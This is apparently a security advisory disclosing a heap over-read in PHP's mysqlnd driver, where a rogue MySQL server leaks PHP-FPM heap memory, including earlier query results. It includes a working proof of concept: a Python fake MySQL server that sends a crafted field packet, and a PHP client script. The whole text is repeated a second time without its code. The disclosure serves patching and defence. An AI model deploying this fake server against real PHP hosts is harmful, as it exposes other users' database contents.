Summary
By connecting to a fake MySQL server or tampering with network packets and initiating a SQL Query, it is possible to abuse the function static enum_func_status php_mysqlnd_rset_field_read when parsing MySQL fields packets in order to include the rest of the heap content starting from the address of the cursor of the currently read buffer.
Using PHP-FPM which stays alive between request, and between two different SQL query requests, as the previous buffer used to store received data from MySQL is not emptied and malloc allocates a memory region which is very near the previous one, one is able to extract the response content of the previous MySQL request from the PHP-FPM worker.
Details
After the connection against a MySQL database is established, when initiating a SQL query, for example through mysqli_query, the expected response from the server is of the following format :
- A
column count packet, describing the number of fields that are expected to be received;
- As much as
fields packets as there are fields to be transmitted;
- An
intermediate EOF packet, telling it is the end of the "fields packets";
- As much as
row packet as there are entries to be transmitted.
The MySQL fields packets, are parsed by the static enum_func_status php_mysqlnd_rset_field_read defined in /ext/mysqlnd/mysqlnd_wireprotocol.c.
Here are the interesting parts :
static enum_func_status
php_mysqlnd_rset_field_read(MYSQLND_CONN_DATA * conn, void * _packet)
{
MYSQLND_PACKET_RES_FIELD *packet = (MYSQLND_PACKET_RES_FIELD *) _packet;
MYSQLND_ERROR_INFO * error_info = conn->error_info;
MYSQLND_PFC * pfc = conn->protocol_frame_codec;
MYSQLND_VIO * vio = conn->vio;
MYSQLND_STATS * stats = conn->stats;
MYSQLND_CONNECTION_STATE * connection_state = &conn->state;
const size_t buf_len = pfc->cmd_buffer.length;
size_t total_len = 0;
zend_uchar * const buf = (zend_uchar *) pfc->cmd_buffer.buffer;
const zend_uchar * p = buf;
const zend_uchar * const begin = buf;
char *root_ptr;
zend_ulong len;
MYSQLND_FIELD *meta;
...
// We learn here that it is not supposed to support COM_FIELD_LIST anymore.
if (ERROR_MARKER == *p) {
/* Error */
p++;
BAIL_IF_NO_MORE_DATA;
php_mysqlnd_read_error_from_line(p, packet->header.size - 1,
packet->error_info.error, sizeof(packet->error_info.error),
&packet->error_info.error_no, packet->error_info.sqlstate
);
DBG_ERR_FMT("Server error : (%u) %s", packet->error_info.error_no, packet->error_info.error);
DBG_RETURN(PASS);
} else if (EODATA_MARKER == *p && packet->header.size < 8) {
/* Premature EOF. That should be COM_FIELD_LIST. But we don't support COM_FIELD_LIST anymore, thus this should not happen */
DBG_ERR("Premature EOF. That should be COM_FIELD_LIST");
php_error_docref(NULL, E_WARNING, "Premature EOF in result field metadata");
DBG_RETURN(FAIL);
}
...
// Parsing logic of the field packet
...
/*
def could be empty, thus don't allocate on the root.
NULL_LENGTH (0xFB) comes from COM_FIELD_LIST when the default value is NULL.
Otherwise the string is length encoded.
*/
if (packet->header.size > (size_t) (p - buf) &&
(len = php_mysqlnd_net_field_length(&p)) &&
len != MYSQLND_NULL_LENGTH)
{
BAIL_IF_NO_MORE_DATA;
DBG_INF_FMT("Def found, length " ZEND_ULONG_FMT, len);
meta->def = packet->memory_pool->get_chunk(packet->memory_pool, len + 1);
memcpy(meta->def, p, len);
meta->def[len] = '\0';
meta->def_length = len;
p += len;
}
}
We can read in the second code block that COM_FIELD_LIST is not supported anymore. However, after the packet is parsed, the third code block tries to parse a def fields which is supposed to define the default values. However, it is used for COM_FIELD_LIST requests, as per the MySQL documentation.
Using a specifically crafted packet, we can enter the last code block, by :
- Adjusting the size of the packet header to read the malicious data;
- Adding a length field at the end which is not equal to
MYSQLND_NULL_LENGTH
- Adding a byte, so that macro
BAIL_IF_NO_MORE_DATA, which verifies if ((p - begin) > packet->header.size)) doesn't redirect the control flow.
In this code block:
len now contains our arbitrary length value;
BAIL_IF_NO_MORE_DATA is then called, however p, the cursor on the buffer, has not been modified for now and the macro is not called anymore until the end of the function;
- A memory area of size
len + 1 is allocated and the address is assigned to meta->def, which is returned to the end user;
meta->def is filled up with len bytes, read from p.
However, p points to a buffer that is (p - pfc->cmd_buffer.buffer) bytes length, and pfc->cmd_buffer.buffer points to a memory area of 4096 bytes. As len can be decoded as a uint_32t, its value can be much more higher, allowing to over-read pfc->cmd_buffer.buffer.
This result in adding to the MySQL server response the remaining data contains in the buffer, and the data on the heap up to len - (4096 - (p - pfc->cmd_buffer.buffer))).
As the buffer used to store the MySQL response is not emptied after each request after being deallocated, and memory allocation with the libc function malloc almost everytime allocate a chunk located very close from the previous allocated memory area, one is able to retrieve content from earlier SQL queries by taking advantage of PHP-FPM workers, which continues running between requests and hold onto some contextual data.
During our tests, we were able to extract the content of previous SQL Query response from the memory of the PHP-FPM Worker.
PoC
-
Start PHP-FPM with a worker pool of one worker;
-
Start a regular MySQL server with some data to be queried from;
-
Start a fake MySQL server that replies with the minimum required data and a malicious field packet by:
- Adding the number of bytes we want to extract, encoded on 4 bytes;
- Adding some filler (1 byte) data so that
BAIL_IF_NO_MORE_DATA; doesn't exit the current control flow;
- Modifying the packet length according to the added data.
-
Make a request against the fake server: some data are extracted like authentication method and some of the used salt to authenticate;
-
Make a legit request;
-
Make a request against the fake server again, data from the previous response are added to the content.
The PHP script I used :
<?php
$port = intval($_GET["port"], 10);
$servername = "";
$username = "";
$password = "";
$conn = mysqli_init();
$conn->real_connect($servername, $username, $password, 'audit', $port, '');
$result = $conn->query("SELECT * from users");
$all_fields = $result->fetch_fields();
var_dump($result->fetch_all());
echo(get_object_vars($all_fields[0])["def"]);
?>
A Python script that can be used as a fake server :
#!/usr/bin/env python
import socket
ADDRESS = '127.0.0.1'
PORT = 3307
class Packet(dict):
def __setattr__(self, name: str, value: str | bytes) -> None:
self[name] = value
def __repr__(self):
return self.to_bytes()
def to_bytes(self):
return b"".join(v if isinstance(v, bytes) else bytes.fromhex(v) for v in self.values())
class MySQLPacketGen():
@property
def server_ok(self):
sg = Packet()
sg.full = "0700000200000002000000"
return sg
@property
def server_greetings(self):
sg = Packet()
sg.packet_length = "580000"
sg.packet_number = "00"
sg.proto_version = "0a"
sg.version = b'5.5.5-10.5.18-MariaDB\x00'
sg.thread_id = "03000000"
sg.salt = "473e3f6047257c6700"
sg.server_capabilities = 0b1111011111111110.to_bytes(2, 'little')
sg.server_language = "08" #latin1 COLLATE latin1_swedish_ci
sg.server_status = 0b000000000000010.to_bytes(2, 'little')
sg.extended_server_capabilities = 0b1000000111111111.to_bytes(2, 'little')
sg.auth_plugin = "15"
sg.unused = "000000000000"
sg.mariadb_extended_server_capabilities = 0b1111.to_bytes(4, 'little')
sg.mariadb_extended_server_capabilities_salt = "6c6b55463f49335f686c643100"
sg.mariadb_extended_server_capabilities_auth_plugin = b'mysql_native_password'
return sg
@property
def server_tabular_query_response(self):
qr1 = Packet() #column count
qr1.packet_length = "010000"
qr1.packet_number = "01"
qr1.field_count = "01"
qr2 = Packet() #field packet
qr2.packet_length = "180000"
qr2.packet_number = "02"
qr2.catalog_length_plus_name = "0164"
qr2.db_length_plus_name = "0164"
qr2.table_length_plus_name = "0164"
qr2.original_t = "0164"
qr2.name_length_plus_name = "0164"
qr2.original_n = "0164"
qr2.canary = "0c"
qr2.charset = "3f00"
qr2.length = "0b000000"
qr2.type = "03"
qr2.flags = "0350"
qr2.decimals = "000000"
qr3 = Packet() #intermediate EOF
qr3.full = "05000003fe00002200"
qr4 = Packet() #row packet
qr4.full = "0400000401350174"
qr5 = Packet() #response EOF
qr5.full = "05000005fe00002200"
return (qr1, qr2, qr3, qr4, qr5)
class MySQLConn():
def __init__(self, socket: socket):
self.pg = MySQLPacketGen()
self.conn, addr = socket.accept()
print(f"[*] Connection from {addr}")
def send(self, payload, message=None):
print(f"[*] Sending {message}")
self.conn.send(payload)
def read(self, bytes_len=1024):
data = self.conn.recv(bytes_len)
if (data):
print(f"[*] Received {data}")
def close(self):
self.conn.close()
def send_server_greetings(self):
self.send(self.pg.server_greetings.to_bytes(), "Server Greeting")
def send_server_ok(self):
self.send(self.pg.server_ok.to_bytes(), "Server OK")
def send_server_tabular_query_response(self):
self.send(b''.join(s.to_bytes() for s in self.pg.server_tabular_query_response), "Tabular response")
def tabular_response_read_heap(m: MySQLConn):
rh = m.pg.server_tabular_query_response
# Length of the packet is modified to include the next added data
rh[1].packet_length = "1e0000"
# We add a length field encoded on 4 bytes which evaluates to 65536. If the process crashes because
# the heap has been overread, lower this value.
rh[1].extra_def_size = "fd000001" # 65536
# Filler
rh[1].extra_def_data = "aa"
trrh = b''.join(s.to_bytes() for s in rh)
m.send_server_greetings()
m.read()
m.send_server_ok()
m.read()
m.send(trrh, "Malicious Tabular Response [Extract heap through buffer overread]")
m.read(65536)
def main():
with socket.create_server((ADDRESS, PORT), family=socket.AF_INET, backlog=1) as server:
while(True):
msql = MySQLConn(server)
tabular_response_read_heap(msql)
msql.close()
main()
Other problems
This is unfortunately the only place where such over-read is possible. After thorough investigation, following places have been found with a similar problem:
- RESP packet upsert filename
- OK packet message
- RESP packet for stmt row data
- ps_fetch_from_1_to_8_bytes
- ps_fetch_float
- ps_fetch_double
- ps_fetch_time
- ps_fetch_date
- ps_fetch_datetime
- ps_fetch_string
- ps_fetch_bit
- RESP packet for query row data (just possible overflow on 32bit)
Impact
In order to exploit this vulnerability, one needs to be able to control the address of the MySQL target or execute its own script using the context on an existing PHP-FPM worker pool.
The heap content, starting from some bytes after the beginning of the buffer used to stores MySQL response can be extracted and send back to the user that initiates a SQL Query.
For example, during our tests, we were able to extract the content of the previous SQL query response.
Example scenario
You're a hosting provider and you offer a bunch of services like managed databases and VPS's (not uncommon).
As a hosting provider, you may want to offer tools to your users to manage databases, something like phpmyadmin (or alike) (not uncommon). As a user, you have the choice of setting up a database yourself on a VPS hosted by that hosting provider. You could setup a malicious database server. Many different people may use the database management software, but that software connects to many different database servers; including the malicious one you set up. Your malicious database server can now trick that database management software (that different users use) to leak data of other users.
Summary
By connecting to a fake MySQL server or tampering with network packets and initiating a SQL Query, it is possible to abuse the function
static enum_func_status php_mysqlnd_rset_field_readwhen parsing MySQL fields packets in order to include the rest of the heap content starting from the address of the cursor of the currently read buffer.Using PHP-FPM which stays alive between request, and between two different SQL query requests, as the previous buffer used to store received data from MySQL is not emptied and
mallocallocates a memory region which is very near the previous one, one is able to extract the response content of the previous MySQL request from the PHP-FPM worker.Details
After the connection against a MySQL database is established, when initiating a SQL query, for example through
mysqli_query, the expected response from the server is of the following format :column countpacket, describing the number of fields that are expected to be received;fields packetsas there are fields to be transmitted;intermediate EOFpacket, telling it is the end of the "fields packets";row packetas there are entries to be transmitted.The MySQL
fieldspackets, are parsed by thestatic enum_func_status php_mysqlnd_rset_field_readdefined in/ext/mysqlnd/mysqlnd_wireprotocol.c.Here are the interesting parts :
We can read in the second code block that
COM_FIELD_LISTis not supported anymore. However, after the packet is parsed, the third code block tries to parse adeffields which is supposed to define the default values. However, it is used forCOM_FIELD_LISTrequests, as per the MySQL documentation.Using a specifically crafted packet, we can enter the last code block, by :
MYSQLND_NULL_LENGTHBAIL_IF_NO_MORE_DATA, which verifies if((p - begin) > packet->header.size))doesn't redirect the control flow.In this code block:
lennow contains our arbitrary length value;BAIL_IF_NO_MORE_DATAis then called, howeverp, the cursor on the buffer, has not been modified for now and the macro is not called anymore until the end of the function;len + 1is allocated and the address is assigned tometa->def, which is returned to the end user;meta->defis filled up withlenbytes, read fromp.However,
ppoints to a buffer that is(p - pfc->cmd_buffer.buffer)bytes length, andpfc->cmd_buffer.bufferpoints to a memory area of 4096 bytes. Aslencan be decoded as auint_32t, its value can be much more higher, allowing to over-readpfc->cmd_buffer.buffer.This result in adding to the MySQL server response the remaining data contains in the buffer, and the data on the heap up to
len - (4096 - (p - pfc->cmd_buffer.buffer))).As the buffer used to store the
MySQLresponse is not emptied after each request after being deallocated, and memory allocation with thelibcfunctionmallocalmost everytime allocate a chunk located very close from the previous allocated memory area, one is able to retrieve content from earlier SQL queries by taking advantage of PHP-FPM workers, which continues running between requests and hold onto some contextual data.During our tests, we were able to extract the content of previous SQL Query response from the memory of the PHP-FPM Worker.
PoC
Start PHP-FPM with a worker pool of one worker;
Start a regular MySQL server with some data to be queried from;
Start a fake MySQL server that replies with the minimum required data and a malicious
field packetby:BAIL_IF_NO_MORE_DATA;doesn't exit the current control flow;Make a request against the fake server: some data are extracted like authentication method and some of the used salt to authenticate;
Make a legit request;
Make a request against the fake server again, data from the previous response are added to the content.
The PHP script I used :
A Python script that can be used as a fake server :
Other problems
This is unfortunately the only place where such over-read is possible. After thorough investigation, following places have been found with a similar problem:
Impact
In order to exploit this vulnerability, one needs to be able to control the address of the MySQL target or execute its own script using the context on an existing PHP-FPM worker pool.
The heap content, starting from some bytes after the beginning of the buffer used to stores MySQL response can be extracted and send back to the user that initiates a SQL Query.
For example, during our tests, we were able to extract the content of the previous SQL query response.
Example scenario
You're a hosting provider and you offer a bunch of services like managed databases and VPS's (not uncommon).
As a hosting provider, you may want to offer tools to your users to manage databases, something like phpmyadmin (or alike) (not uncommon). As a user, you have the choice of setting up a database yourself on a VPS hosted by that hosting provider. You could setup a malicious database server. Many different people may use the database management software, but that software connects to many different database servers; including the malicious one you set up. Your malicious database server can now trick that database management software (that different users use) to leak data of other users.